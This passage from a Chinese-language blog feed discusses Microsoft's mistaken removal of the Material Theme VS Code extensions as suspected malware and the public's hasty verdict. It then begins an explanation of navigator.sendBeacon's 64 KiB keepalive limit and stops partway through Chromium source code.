    <content type="html"><![CDATA[<p>應該不少人都有跟到三週前 VS Code 上的知名套件 Material Theme 被微軟主動下架的新聞，那下架的理由是什麼呢？根據你得知這件事的消息來源以及自身個性，可能會有兩種回答：</p><ol><li>它「疑似」含有惡意程式碼</li><li>它就是個惡意軟體</li></ol><p>為什麼跟自身個性有關呢？因為就算消息來源接收到的是第一種，在種種條件的互相加持影響之下，你也很有可能解釋成第二種。</p><span id="more"></span><p>以台灣的消息來源來說，最多人看到的應該是保哥的這篇<a href="https://www.facebook.com/story.php?story_fbid=1060924756061613&id=100064322940906&_rdr">臉書貼文</a>，內文寫著：</p><blockquote><p>微軟緊急下架擁有 900 萬次下載的知名 Material Theme Icons 與 Material Theme Free 擴充套件，這些看似無害的佈景主題擴充被發現暗藏高度混淆的惡意代碼，可能導致大規模開發者帳戶資料外洩！</p><p>🔥<br>事件關鍵點：<br>1️⃣ 網路安全研究員 Amit Assaraf 團隊在例行掃描中發現，這些主題擴展中的 release-notes.js 檔案存在大量混淆過的 JavaScript 程式，其中包含對使用者名稱、密碼等敏感資訊的存取。</p><p>2️⃣ 專家推測這可能是透過 2023 年某次更新植入的供應鏈攻擊，或開發者帳號遭黑客劫持所致。</p><p>微軟不僅下架了所有相關擴充套件，還直接封鎖了開發者 Mattia Astorino (equinusocio) 的帳號，並強制卸載全球使用者端已安裝的擴充套件。這是 VS Marketplace 近三年來最大規模的安全清理行動！👍</p><p>附件連結是 GitHub Issues 討論，非常熱鬧，愛吃瓜的鄉民快去朝聖啊！👨‍💻<br>#還好我不愛Material #供應鏈攻擊 #記得VSCode連網升級一下</p></blockquote><p>內文寫了「被發現暗藏高度混淆的惡意代碼」，直接認定是惡意軟體了。再加上文中附上的其他證據，混淆過的程式碼以及對敏感資訊的存取等等，還主動被微軟下架，不覺得是惡意軟體都難。</p><p>而底下留言附的資安人報導<a href="https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=11684">《資安風險！微軟禁下載量達900萬次的VSCode Material Theme擴充套件》</a> 中，寫的就相對保守一點：</p><blockquote><p>微軟近日從Visual Studio Marketplace中移除了兩個廣受歡迎的VSCode擴充套件：「Material Theme – Free」和「Material Theme Icons – Free」，原因是這些擴充套件被發現可能包含惡意程式碼。</p></blockquote><p>用的字眼是「可能包含惡意程式碼」，就是我所說的第一種。但與上面的貼文類似，報導中還說明有資安團隊發現了可疑的程式碼，又混淆又跟帳號密碼有關。因此，儘管報導本身並沒有明確寫出它就是個惡意軟體，只有寫「可能包含惡意程式碼」，在其他證據的加持下，你或許也會認為它就是個惡意軟體。</p><p>除了這些，言之鑿鑿說 Material Theme 就是個惡意軟體的新聞或是推文也都還有很多，例如說 20 萬人追蹤的 <a href="https://x.com/theo/status/1894661673388314710">@theo</a> 就直接說了：</p><blockquote><p>The Material Theme has just been removed from GitHub and VS Code due to shipping malware</p></blockquote><p>那到底 VS Code 上的 Material Theme 擴充套件是不是惡意軟體呢？先講結論：「不是」。</p><p>那這整件事情的過程到底是如何？為什麼一開始說疑似是惡意軟體，後來又不是了？我們按照時間順序，先從開頭來聊聊吧。</p><h2><span id="事情的開端與下架的理由">事情的開端與下架的理由</span></h2><p>（底下時間都是指台灣時間）</p><p>2025&#x2F;02&#x2F;26 凌晨 01:32，有人在 Material Theme 的 GitHub 上發了一個 issue：<a href="https://web.archive.org/web/20250226020241/https://github.com/material-theme/vsc-material-theme/discussions/1313">This extension was reported to be problematic</a>，內文中提到在 VS Code 中會出現底下的提示：</p><blockquote><p>We have uninstalled ‘equinusocio.vsc-material-theme’ which was reported to be problematic.</p></blockquote><p>證明至少在這個時間點，微軟已經主動把 VS Code 中的 Material theme 移除。過了幾個小時，在 04:39 時，知名的討論區 reddit 中也有人發文討論相同的狀況：<a href="https://www.reddit.com/r/vscode/comments/1iy571t/comment/meuooi1/">Lost Material Theme</a>。</p><p>到了早上 7 點，Hacker News 上也開始有人討論：<a href="https://news.ycombinator.com/item?id=43178831">Material Theme has been pulled from VS Code’s marketplace </a>。</p><p>大約下午 3 點 40 分的時候，VS Code 的團隊成員 Isidor 出來回覆了：</p><blockquote><p>Hi - Isidor here from the VS Code team.<br>A member of the community did a deep security analysis of the extension and found multiple red flags that indicate malicious intent and reported this to us. Our security researchers at Microsoft confirmed this claims and found additional suspicious code.</p><p>We banned the publisher from the VS Marketplace and removed all of their extensions and uninstalled from all VS Code instances that have this extension running. For clarity - the removal had nothing to do about copyright&#x2F;licenses, only about potential malicious intent.</p><p>Expect an announcement here with more details soon <a href="https://github.com/microsoft/vsmarketplace/">https://github.com/microsoft/vsmarketplace/</a></p><p>As a reminder, the VS Marketplace continuously invests in security. And more about extension runtime trust can be found in this article <a href="https://code.visualstudio.com/docs/editor/extension-runtime-security">https://code.visualstudio.com/docs/editor/extension-runtime-security</a></p><p>Thank you!</p></blockquote><p>大意就是社群中有人對這個套件做了深度的資安分析，找到了多個 red flags 指出這個套件具有惡意的意圖並向微軟回報，而微軟內部的資安研究員也確認了這個發現，並找出其他可疑的程式碼。微軟已經把這個開發者的套件都下架以及把他 ban 掉，並說明這次移除套件的行為與 license 無關（這我們等等談），只跟潛在的可疑意圖有關。</p><p>到了晚上 11 點，有人在 Visual Studio Marketplace 的 GitHub 中開了一個 issue 討論這件事：<a href="https://github.com/microsoft/vsmarketplace/issues/1168">Material theme compromised?</a>，想知道更多的細節。</p><p>而 VS Code Marketplace 的 PM seaniyer 也在 2&#x2F;27 早上 9 點 57 的時候給出了<a href="https://github.com/microsoft/vsmarketplace/issues/1168#issuecomment-2686542068">回覆</a>：</p><blockquote><p>Sean here from VS Code Marketplace. We take the decision to remove seriously and thoroughly verify any reports. To protect developers, we also prioritize speedy removal of positives. We’ve posted the reason for removal in RemovedPackages, where we plan to add any future removals as well. Thanks for helping to keep the marketplace safe for everyone.<br>我們對移除決策持謹慎態度，並會徹底驗證所有舉報。為了保護開發者，我們也優先迅速移除確定存在問題的項目。我們已在 RemovedPackages 中發布了移除原因，並計劃未來將所有移除記錄統一發布在該處。</p></blockquote><p><a href="https://github.com/microsoft/vsmarketplace/commit/5d23236b873a96d0da5dc90990e6172341c88b71">RemovedPackages.md</a> 這個檔案是在當天早上 7 點才被建立的，或許代表這是微軟第一次主動把套件下架？</p><p>在文件中寫了被下架的套件是 Equinusocio.vsc-material-theme-icons（另一個相同作者的套件，他有兩個，一個是 Material Theme 另一個是 Material Theme Icons），理由是：</p><blockquote><p>A theming extension with heavily obfuscated code and unreasonable dependencies including a utility for running child processes<br>一個主題擴充功能，其程式碼經過高度混淆，並包含不合理的依賴項，例如用於執行 child process 的 utility。</p></blockquote><p>而有一間資安公司 Koi Security，在 2025&#x2F;02&#x2F;27 發布了文章 <a href="https://blog.koi.security/a-wolf-in-dark-mode-the-malicious-vs-code-theme-that-fooled-millions-85ed92b4bd26">A Wolf in Dark Mode: The Malicious VS Code Theme That Fooled Millions</a>，提到了他們在 Material Theme 中找到惡意程式碼，看起來是經由一個 dependency 所引入的：</p><blockquote><p>Say hello to the wolf in dark mode, “Material Theme”, an extremely popular VSCode theme extension, found to be containing malware underneath it’s beautiful color scheme</p><p>Material Theme — Free, a theme extension for VSCode, which was installed 3,927,094 times by developers, was found to contain malicious code through a dependency</p><p>The malicious code seems to be inside a dependency of the theme, which was compromised.</p></blockquote><p>這裡用的詞是「was found to contain malicious code」，也是直接說了包含惡意程式碼。</p><h2><span id="作者的反駁">作者的反駁</span></h2><p>2&#x2F;28 將近下午 5 點，Material Theme 的作者 @equinusocio 在 Visual Studio Marketplace 的 GitHub 中開了個 issue：<a href="https://github.com/microsoft/vsmarketplace/issues/1173">Asking for Equinusocio publisher restoration and relative extensions, censorship and shady discriminatory microsoft moves</a>，大意就是說它的套件裡面沒有惡意程式碼，唯一有的問題是一個太舊的第三方套件：</p><blockquote><p>This decision destroyed 10 years of reputation and trust, all based on unfounded SUSPICIONS regarding obfuscated code—something you dislike, even though there was no evidence of harm. The only issue was an outdated sanity.io dependency within the obfuscated code, which could have been fixed in 30 seconds.<br>這個決定毀掉了 10 年來的聲譽和信任，而這一切都基於對混淆程式碼毫無根據的懷疑——只是因為你不喜歡它，儘管並沒有任何危害的證據。唯一的問題是混淆程式碼中存在一個過時的 sanity.io 依賴，而這本可以在 30 秒內修復。</p></blockquote><p>文末也提到如果確認他的套件沒有惡意程式碼，請恢復所有的 extensions 以及公開道歉：</p><blockquote><p>If your review of MY SOURCE CODE confirms that there is nothing malicious, I formally request the full restoration of our publisher accounts (Equinusocio and vira-theme), all related extensions, and user access to the theme. Additionally, all installations and insights should be reinstated.</p></blockquote><h2><span id="material-theme-為什麼會被懷疑">Material Theme 為什麼會被懷疑？</span></h2><p>整理一下上面的論述，會發現 Material Theme 確實幹了這麼幾件事情：</p><ol><li>明明是個 theme，但套件裡有 JavaScript</li><li>具有混淆過的程式碼</li><li>程式碼中有與 username 跟 password 有關的部分</li><li>含有拿來執行 child processes 的 utility</li></ol><p>你問我可不可疑，可疑啊，當然可疑。但如果你問我它是不是惡意程式，我會說不是。</p><p>為什麼不是？因為沒有人給出證據啊。儘管把程式碼混淆確實可疑，但也就只是可疑而已。更何況這個「可疑」的力度在我看來並沒有這麼強。舉例來講，沒有找到跟惡意 server 通信的證據或是可疑的後門等等。</p><p>除此之外，關於混淆這點，如果有了解過情況的話，就會發現早在 2024 年 8 月，Reddit 上就有人發了一篇 <a href="https://www.reddit.com/r/vscode/comments/1eq40o2/has_the_material_theme_extension_been_compromised/?rdt=47469">Has the Material Theme extension been compromised?</a>，說最新的版本含有大量混淆過的程式碼，GitHub 上的歷史紀錄也已經被刪除，問說是發生什麼事了。</p><p>有人說可能跟作者在 8&#x2F;10 發起的這兩個討論有關：</p><ol><li><a href="https://web.archive.org/web/20241230012548/https://github.com/material-theme/vsc-material-theme/discussions/1304">⚠️ Looking for Typescript maintainer ⚠️ </a></li><li><a href="https://web.archive.org/web/20241230040357/https://github.com/material-theme/vsc-material-theme/discussions/1305">Premium extensions</a></li></ol><p>因為作者想把這個套件從開源變成閉源，並且發展收費版，因此才用混淆的方式把一些邏輯藏起來。</p><p>而所謂的「程式碼中有與 username 跟 password 有關的部分」，也很可能是因為某個第三方套件使用了 <a href="https://github.com/unshiftio/url-parse">url-parser</a>，因此這些帳號密碼指的是在解析 URL 時網址上的帳號密碼，而不是什麼偷取你電腦中的敏感資訊。</p><p>至於「拿來執行 child processes 的 utility」，<a href="https://github.com/microsoft/vsmarketplace/issues/1173#issuecomment-2693242277">有人</a>把程式碼反混淆之後來看，就只是個 build script，沒有執行任何惡意指令。</p><p>（話說上面這兩點我沒有親自驗證，擴充套件的原始碼一直都可以下載，有興趣的人可以親自看看：<a href="https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage">https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage</a> ）</p><p>而 Koi Security 的那篇文章也完全沒有任何明確證據，這邊我的立場跟 <a href="https://andrews.substack.com/p/re-vscode-extension-drama">RE: VSCode Extension Drama</a> 這篇文章的副標題一樣：You can’t run your threat response like a High School clique。</p><p>當然，先撇除 Material Theme 不談，這個作者本身原本就有不少不符合開源精神的行為，這也是為什麼前面提到的微軟聲明中，會說：「For clarity - the removal had nothing to do about copyright&#x2F;licenses, only about potential malicious intent.」，但因為這些都跟擴充套件是否為惡意軟體這件事無關，所以這邊就不多談了。</p><p>而一開始應該是只有 Material Theme 跟 Material Theme Icons 被下架且移除，但之後作者開了新帳號改名又傳了一次，被發現多次後整個帳號被 ban 掉，這個從 reddit 的<a href="https://www.reddit.com/r/vscode/comments/1iy571t/comment/meuooi1/">討論串</a>中可以看出來。</p><p>總之呢，這個<a href="https://github.com/microsoft/vsmarketplace/issues/1173#issuecomment-2692845250"> @r8 的評論</a>滿精準地說出我的想法：</p><blockquote><p>Being an ass is not a crime. If you want to ban Mattia for being an ass (which, I’m sorry to say, he is), that’s what Codes of Conduct were invented for.</p></blockquote><h2><span id="疑似與確實重要的一線之隔">「疑似」與「確實」，重要的一線之隔</span></h2><p>我想討論的問題是：「VS Code 團隊下架 Material Theme 套件是否合理？」</p><p>但因為這個問題背後其實藏著兩三個子問題，因此我決定先把問題切小，第一件可以來聊的事情是，當發現「疑似含有惡意程式碼」的套件時，把它下架是否合理？</p><p>預防勝於治療，在還沒出事之前先止損，我認為是合理的。</p><p>那第二個延伸問題就是：「既然只是疑似，那有多少把握的時候，下架才是合理的？」</p><p>這其實是個「畫線」的問題。</p><p>舉例來說，如果只是在 theme 的套件中發現沒混淆過的 JavaScript 檔案，下架可能就不太合理。但如果是在 theme 的套件中發現混淆過的 JavaScript 呢？（內容你還不知道是什麼，就只知道有混淆過），對有些人說可能就覺得應該下架了。</p><p>但也有些人會覺得，一定要找到確切的證據才能下架，只是在懷疑階段都不行。</p><p>所以我說這是一個畫線問題，取決於你要把線畫在哪邊，要滿足哪些條件，才會覺得足夠可疑，可疑到要把它下架。這個標準每個人、每個組織都會不一樣。</p><p>想好這兩個問題以後，再來討論：「VS Code 團隊下架 Material Theme 套件是否合理？」，以他們的角度來看，已知的訊息大概是：</p><ol><li>明明是個 theme，但套件裡有 JavaScript，還是混淆過的</li><li>含有拿來執行 child processes 的 utility</li><li>這個套件有數百萬下載</li></ol><p>當他們做決定前，必須知道這個決定的會帶來的影響。</p><p>舉例來說，這是 VS Code 團隊第一次做這件事，因此就算只是「懷疑有問題」，也可能會被解讀為具有足夠的信心，才會大動作遠端主動移除套件。此外，如果最後真的證明是惡意套件那倒是沒事，但如果不是呢？那是否在對外發表聲明時應該格外小心，強調只是疑似，在證據還沒這麼明確的狀況下，盡量不傷害開發者的名聲？</p><p>另一個問題是，既然「沒有證據」這件事會影響決定，那是否這條線應該畫得更嚴格一點，只有掌握切確證據以後才做決定？畢竟如果最後證實套件其實沒問題，外界對微軟的資安能力也會感到質疑（像是，我以為你有足夠的證據才做這些，結果居然說是誤報）。</p><p>總之呢，我也不知道 VS Code 團隊掌握了多少證據，但他們最後做的決定大家都知道了，就是強制移除套件以保護使用者。</p><h2><span id="大結局vs-code-團隊的道歉">大結局：VS Code 團隊的道歉</span></h2><p>事件過了一個多禮拜之後，在 3&#x2F;7 時微軟經由這個 PR：<a href="https://github.com/microsoft/vsmarketplace/pull/1181">Update RemovedPackages.md</a>，把 Material Theme 從清單中移除。</p><p>而 3&#x2F;12 時在作者發的那個 Issue 底下發表了<a href="https://github.com/microsoft/vsmarketplace/issues/1173">公開聲明</a>進行道歉：</p><blockquote><p>False positives suck, and it hurts when it happens.<br>誤判很糟糕，當它發生時確實令人痛心。</p><p>The publisher account for Material Theme and Material Theme Icons (Equinusocio) was mistakenly flagged and has now been restored. In the interest of safety, we moved fast and we messed up. We removed these themes because they fired off multiple malware detection indicators inside Microsoft, and our investigation came to the wrong conclusion. We care deeply about the security of the VS Code ecosystem, and acted quickly to protect our users.<br>Material Theme 和 Material Theme Icons（Equinusocio）的發佈者帳戶被錯誤標記，現在已經恢復。出於安全考量，我們行動迅速，但也因此犯了錯。我們移除了這些佈景主題，因為它們在微軟內部觸發了多個惡意軟體偵測指標，而我們的調查最終得出了錯誤的結論。我們非常重視 VS Code 生態系統的安全性，因此迅速採取行動來保護使用者。</p><p>I understand that the “Equinusocio” extensions author’s frustration and intense reaction, and we hear you. It’s bad but sometimes things like this happen. We do our best - we’re humans, and we hope to move on from this We will clarify our policy on obfuscated code and we will update our scanners and investigation process to reduce the likelihood of another event like this.<br>These extensions are safe and have been restored for the VS Code community to enjoy.<br>我們理解「Equinusocio」擴充套件作者的沮喪與強烈反應，我們聽到了。這件事很糟糕，但有時候這類情況難以避免。我們盡力而為，但我們也是人，希望能夠從這次事件中吸取教訓並向前邁進。我們將明確關於混淆程式碼的政策，並更新我們的掃描工具與調查流程，以降低類似事件再次發生的可能性。這些擴充套件是安全的，現在已經恢復，VS Code 社群可以繼續使用並享受它們。</p><p>LINKS:<br>Material Theme<br>[Material Theme Icons]<br>(<a href="https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons">https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons</a>)</p><p>Again, we apologize that the author got caught up in the blast radius and we look forward to their future themes and extensions. We’ve corresponded with him and thanked him for his patience.<br>我們再次對這位作者受到牽連而深表歉意，也期待他未來的佈景主題與擴充套件。我們已與他聯繫，並感謝他的耐心等待。</p><p>Scott Hanselman and the Visual Studio Code Marketplace Team - @shanselman</p></blockquote><p>所以，儘管它有著一些確實可疑的行為，但是 Material Theme 自始至終都不是個惡意軟體。</p><p>不過從聲明中能看出來從他們的角度，在做決定時應該有滿高的信心，畢竟內部的惡意軟體偵測都這麼說了（雖然最後是 false positive）。</p><p>如果是我的話，可能也會決定下架吧，因此我是能理解這個決定的。</p><p>但我覺得下架時的說明應該要更清楚一點，多次強調「事件還在調查，還沒確定是惡意軟體」，要不斷強調「還在驗證，只是為了保護使用者所以先移除」這件事。</p><p>雖然 VS Code 團隊本來就沒有明確表示是惡意軟體，但表達更像是「雖然還沒完全確定，但我滿有自信它是」，而不是「還沒確認是惡意軟體，請大家不要先恐慌，等我們驗證」。</p><p>最後整理一下我的立場，我目前的立場是，高度可疑的套件下架是合理的，我也認同 VS Code 團隊這樣做。但為了避免 false positive，在對外聲明時必須格外小心，否則對開發者名聲的傷害是難以挽回的，而我認為這次 VS Code 團隊在這點上並沒有做好。</p><p>就舉這次事件為例，儘管 VS Code 的道歉聲明已經是 3 天前發的了，又有多少人知道呢？會不會大多數的人還是認為 Material Theme 是個惡意軟體呢？</p><p>話說 BleepingComputer 在 <a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-apologizes-for-removing-vscode-extensions-used-by-millions/">Microsoft apologizes for removing VSCode extensions used by millions</a> 一文中有去問一開始回報問題的資安公司，他們還是覺得有惡意程式碼：</p><blockquote><p>When asked by BleepingComputer about this development, cybersecurity researcher Amit Assaraf continued to claim that the extension did contain malicious code. However, there was no malicious intent from the publisher, commenting that “in this case, Microsoft moved too fast.”<br>當 BleepingComputer 詢問此事時，資安研究員 Amit Assaraf 仍堅稱該擴充套件包含惡意程式碼。然而，他表示發佈者並無惡意，並評論道：「在這種情況下，微軟行動得太快了。」</p></blockquote><p>但目前看起來，還是沒有提供相關證據。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;應該不少人都有跟到三週前 VS Code 上的知名套件 Material Theme 被微軟主動下架的新聞，那下架的理由是什麼呢？根據你得知這件事的消息來源以及自身個性，可能會有兩種回答：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;它「疑似」含有惡意程式碼&lt;/li&gt;
&lt;li&gt;它就是個惡意軟體&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;為什麼跟自身個性有關呢？因為就算消息來源接收到的是第一種，在種種條件的互相加持影響之下，你也很有可能解釋成第二種。&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  
  
  <entry>
    <title>navigator.sendBeacon 的 64KiB 限制與底層實作</title>
    <link href="https://blog.huli.tw/2025/01/06/navigator-sendbeacon-64kib-and-source-code/"/>
    <id>https://blog.huli.tw/2025/01/06/navigator-sendbeacon-64kib-and-source-code/</id>
    <published>2025-01-06T02:40:00.000Z</published>
    <updated>2025-01-06T11:51:47.703Z</updated>
    
    <content type="html"><![CDATA[<p>當你想在網頁上向 server 發送一些 tracking 相關的資訊時，比起直接用 <code>fetch</code> 送出請求，有另一個通常會被推薦的選擇：<code>navigator.sendBeacon</code>。</p><p>為什麼會推薦這個呢？</p><p>因為如果是用一般送出請求的方法，在使用者把頁面關掉或是跳轉的時候可能會有問題，例如說剛好在關掉頁面時發送請求，這個請求可能就送不出去，隨著頁面關閉一起被取消了。</p><p>雖然說可以利用一些方法嘗試強制送出請求，但這些方法通常都會傷害使用者體驗，例如說強制讓頁面晚一點關閉，或是送出一個同步的請求之類的。</p><p>而 <code>navigator.sendBeacon</code> 就是為了解決這個問題而生的。</p><span id="more"></span><p>就如同 <a href="https://w3c.github.io/beacon/">spec</a> 上所寫的：</p><blockquote><p>This specification defines an interface that web developers can use to schedule asynchronous and non-blocking delivery of data that minimizes resource contention with other time-critical operations, while ensuring that such requests are still processed and delivered to destination</p><p>此規範定義了一個 interface，供網頁開發者用於安排非同步且非阻塞的數據傳輸，以最大限度地減少與其他時間敏感操作的資源競爭，同時確保這些請求仍能被處理並傳遞到目標位置。</p></blockquote><p>而使用的方式也非常簡單：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"/log"</span><span class="token punctuation">,</span> payload<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>就會發送一個 POST 的請求到 <code>/log</code> 去。</p><p>雖然簡單易用，但需要注意的一點是，送出的 payload 是有大小限制的，而且這個限制不是單一請求的限制。</p><h2><span id="navigatorsendbeacon-的-payload-限制">navigator.sendBeacon 的 payload 限制</span></h2><p><code>sendBeacon</code> 的 payload 上限是 64 KiB，等同於 65536 個 bytes，如果 payload 都是由英文字組成的話，因為每一個是一個 byte，就是 65536 個字。</p><p>如果超過這個大小，你會發現請求送不出去，永遠處於 pending 狀態：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"/log"</span><span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">65536</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p1.png" alt="永遠 pending "></p><p>而且這個限制其實並不是限制單一請求，而是背後有個 queue，這個 queue 只要超過 65536 bytes 就不接受新的東西了。</p><p>舉例來說，當我們連續送出 8 個 10000 字的請求時：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span><span class="token number">8</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"https://httpstat.us/200?log"</span><span class="token operator">+</span>i<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">10000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>你會發現最後兩個一直處於 pending 狀態，送不出去：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p2.png" alt="超過 queue 的範圍就會一直 pending"></p><p>這是因為前六次 <code>sendBeacon</code> 已經把 queue 填到 60000 了，因此最後兩次都塞不下，所以無法接受新的請求，就會永遠處於 pending，就會 queue 空了也不會主動再塞進去。</p><p>不過嚴格來講這其實也不是 <code>sendBeacon</code> 的問題，而是 fetch 加上 keepalive 會有的限制。事實上，<code>navigator.sendBeacon</code> 的底層就是 fetch 加上 keepalive。</p><h2><span id="navigatorsendbeacon-的規格與-sentry-的小故事">navigator.sendBeacon 的規格與 Sentry 的小故事</span></h2><p>在規格的段落 <a href="https://w3c.github.io/beacon/#sec-processing-model">3.2 Processing Model</a> 的第六步中，就有提到剛剛講的 queue：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p3.png" alt="spec 中的 queue"></p><p>如果判斷塞不進去 queue 的話，<code>sendBeacon</code> 會回傳 false。</p><p>其實這就是 payload 碰到問題時的解法，在呼叫 <code>sendBeacon</code> 之後判斷回傳值是否為 false，是的話就進行處理，看是要 fallback 成一般的 fetch，還是自己再做個重試的機制。</p><p>而第七步則是 <code>sendBeacon</code> 主要做的事情，新建一個 keepalive 的請求然後送出：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p4.png" alt="keepalive 的段落"></p><p>而 fetch + keepalive 的 payload 限制就是 64 KiB，這是有寫在 <a href="https://fetch.spec.whatwg.org/#http-network-or-cache-fetch">spec</a> 裡的：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/fetch-spec.png" alt="fetch 的 spec"></p><p>專門做 error tracking 的服務 Sentry 以前其實就碰過這問題，在 2018 年時有人發現 Sentry 在 fetch 時會預設打開 keepalive，導致有些超過 65536 bytes 的請求送不出去，因此把這個 flag 給拿掉了：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p5.png" alt="Sentry 的 issue"></p><p>來源：<a href="https://github.com/getsentry/sentry-javascript/issues/1464">When fetch is used keepalive is the default, and Chrome only allows a POST body &lt;&#x3D; 65536 bytes in that scenario #1464</a>，拿掉的 PR：<a href="https://github.com/getsentry/sentry-javascript/pull/1496">ref: Remove keepalive:true as a default and document payload size #1496</a></p><p>兩年後的 2020 年，有人發現了 keepalive 的規格以及正確用法：<a href="https://github.com/getsentry/sentry-javascript/issues/2547">Fetch KeepAlive #2547</a>，提議在 payload 許可之下用 keepalive，超過才不用，而不是像當時全部都不用。</p><p>但當時並沒有任何動作，是又過了兩年，在 2022 年時，有人發現 Chrome 在 navigation 的時候會取消所有請求，因此有些請求送不出去，才想到要利用 keepalive 來解決。</p><p>因此在 2022 年 9 月時，才又把它加了回去，並且留下精闢的註解：</p><p><a href="https://github.com/getsentry/sentry-javascript/issues/2547">feat(browser): Use fetch keepalive flag #5697</a></p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Outgoing requests are usually cancelled when navigating to a different page, causing a "TypeError: Failed to</span><span class="token comment">// fetch" error and sending a "network_error" client-outcome - in Chrome, the request status shows "(cancelled)".</span><span class="token comment">// The `keepalive` flag keeps outgoing requests alive, even when switching pages. We want this since we're</span><span class="token comment">// frequently sending events right before the user is switching pages (eg. whenfinishing navigation transactions).</span><span class="token comment">// Gotchas:</span><span class="token comment">// - `keepalive` isn't supported by Firefox</span><span class="token comment">// - As per spec (https://fetch.spec.whatwg.org/#http-network-or-cache-fetch), a request with `keepalive: true`</span><span class="token comment">//   and a content length of > 64 kibibytes returns a network error. We will therefore only activate the flag when</span><span class="token comment">//   we're below that limit.</span><span class="token literal-property property">keepalive</span><span class="token operator">:</span> request<span class="token punctuation">.</span>body<span class="token punctuation">.</span>length <span class="token operator">&lt;=</span> <span class="token number">65536</span><span class="token punctuation">,</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>中文機翻：</p><blockquote><p>當切換到不同頁面時，未完成的請求通常會被取消，進而導致「TypeError: Failed to fetch」錯誤，並出現「network_error」。在 Chrome 中，請求狀態會顯示「(cancelled)」。<br>keepalive 標誌可以讓未完成的請求在頁面切換時繼續保持活動狀態。由於我們經常在使用者切換頁面前傳送事件，因此需要這個功能。</p><p>需要注意：</p><ol><li>Firefox 不支援 keepalive。</li><li>根據規範，如果請求設定了 keepalive: true 並且內容長度超過 64 KiB，將會返回網路錯誤。因此，我們只會在請求內容長度低於該限制時啟用此標誌。</li></ol></blockquote><p>但故事還沒完，就像我剛才提到的，這個 65536 的限制並不只是單個請求，而是有個 queue，因此這樣做是不夠的。半年之後，Sentry 也注意到了這個問題，加上了計算 queue size 的邏輯，讓整個機制變得更加穩健：<a href="https://github.com/getsentry/sentry-javascript/pull/7553">fix(browser): Ensure keepalive flag is correctly set for parallel requests #7553</a></p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p6.png" alt="Issue 截圖"></p><p>如果之後有想要實作類似的東西，可以直接參考上面 Sentry 的 PR。</p><h2><span id="sendbeacon-的實作">sendBeacon 的實作</span></h2><h3><span id="chromium-的-sendbeacon-實作">Chromium 的 sendBeacon 實作</span></h3><p>最後我們來看一下 sendBeacon 底層的實作，先從 Chromium 開始，我以寫文章時最新的穩定版 131.0.6778.205 為例，相關程式碼在：<a href="https://source.chromium.org/chromium/chromium/src/+/refs/tags/131.0.6778.205:third_party/blink/renderer/modules/beacon/navigator_beacon.cc;l=93">third_party&#x2F;blink&#x2F;renderer&#x2F;modules&#x2F;beacon&#x2F;navigator_beacon.cc</a></p><p>我擷取其中一小段核心程式碼：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">bool NavigatorBeacon<span class="token operator">::</span><span class="token function">SendBeaconImpl</span><span class="token punctuation">(</span>    ScriptState<span class="token operator">*</span> script_state<span class="token punctuation">,</span>    <span class="token keyword">const</span> String<span class="token operator">&amp;</span> url_string<span class="token punctuation">,</span>    <span class="token keyword">const</span> 